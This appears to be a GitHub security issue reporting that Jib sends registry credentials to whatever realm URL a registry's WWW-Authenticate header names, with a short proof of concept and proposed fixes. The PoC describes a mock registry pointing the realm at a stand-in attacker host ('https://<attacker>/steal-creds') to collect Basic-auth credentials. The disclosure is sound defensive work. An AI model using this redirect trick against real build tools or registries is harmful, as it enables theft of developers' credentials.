Skip to content

Unvalidated WWW-Authenticate realm allows registry credential exfiltration to attacker-controlled host (CWE-918 SSRF) #4523

Description

@Dreamweaver156191

Summary

RegistryAuthenticator.fromAuthenticationMethod() parses the realm value directly out of a registry's WWW-Authenticate response header with no validation of its host, then Jib sends the configured registry credentials (Basic auth or OAuth2 refresh token) to that URL:

Pattern realmPattern = Pattern.compile("realm=\"(.*?)\"");
...
String realm = realmMatcher.group(1);
URL getAuthenticationUrl(...) {
  return isOAuth2Auth(credential) ? new URL(realm) : new URL(realm + "?" + ...);
}

Since realm is fully attacker-controlled, a malicious or compromised registry can point it at an attacker-controlled HTTPS endpoint and receive the developer's real registry credentials. This fires on Jib's default, most common usage (any registry pull/push with credentials configured) — no special configuration needed.

Note: Jib's FailoverHttpClient already strips Authorization for plain-HTTP targets, which blocks the trivial plain-HTTP variant — but a realistic attacker just uses HTTPS (free to obtain), bypassing that safeguard entirely. Confirmed with a PoC: a plain-HTTP attacker endpoint received nothing, an HTTPS one received the full Basic-auth credentials.

Why this matters now — established CWE-918 pattern with 2026 precedent

This is the same root cause (CWE-918, SSRF via unvalidated URL from an upstream response) behind several 2026 CVEs in sibling tools:

Proof of Concept

Two local mock HTTPS servers (self-signed certs, loopback only):

  1. Mock registry → responds to any manifest request with 401 + WWW-Authenticate: Bearer realm="https://<attacker>/steal-creds",service="..."
  2. Mock attacker collector → logs the Authorization header of anything it receives
Jib.from(RegistryImage.named("<mock-registry>/fake/repo:latest")
        .addCredential(victimUser, victimPassword))
    .containerize(...)

Result: the attacker collector received Authorization: Basic <base64 of victimUser:victimPassword> — the real configured credential, sent to an unrelated host.

Why I'm opening an issue rather than a PR this time

Unlike the path-traversal fix (#4522), the correct remediation here is a real compatibility tradeoff, not a one-line guard: legitimate registries commonly use a different host for their token-issuing auth server than the registry itself (Docker Hub's registry-1.docker.io redirects to auth.docker.io). A blind "realm host must equal registry host" check — the fix distribution/distribution shipped for CVE-2026-33540 — risks breaking compatibility with real registries Jib supports today (this project's own issue history shows a lot of registry-specific auth handling — Azure ACR, OpenShift, Nexus, etc.).

Options worth your team's consideration, roughly in order of increasing compatibility risk:

  1. Reject non-HTTPS realms outright at the point of use (currently only the Authorization header gets cleared for plain HTTP; the request still fires).
  2. Compare realm's registrable domain (eTLD+1) against the registry's, allowing same-organization cross-subdomain realms (covers Docker Hub) while blocking unrelated domains.
  3. An opt-in strict/allowlist mode for users who know their registry's real auth topology in advance.

Happy to attempt a PR for whichever direction the maintainers think is right, or to help test compatibility against known registries if that's useful.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions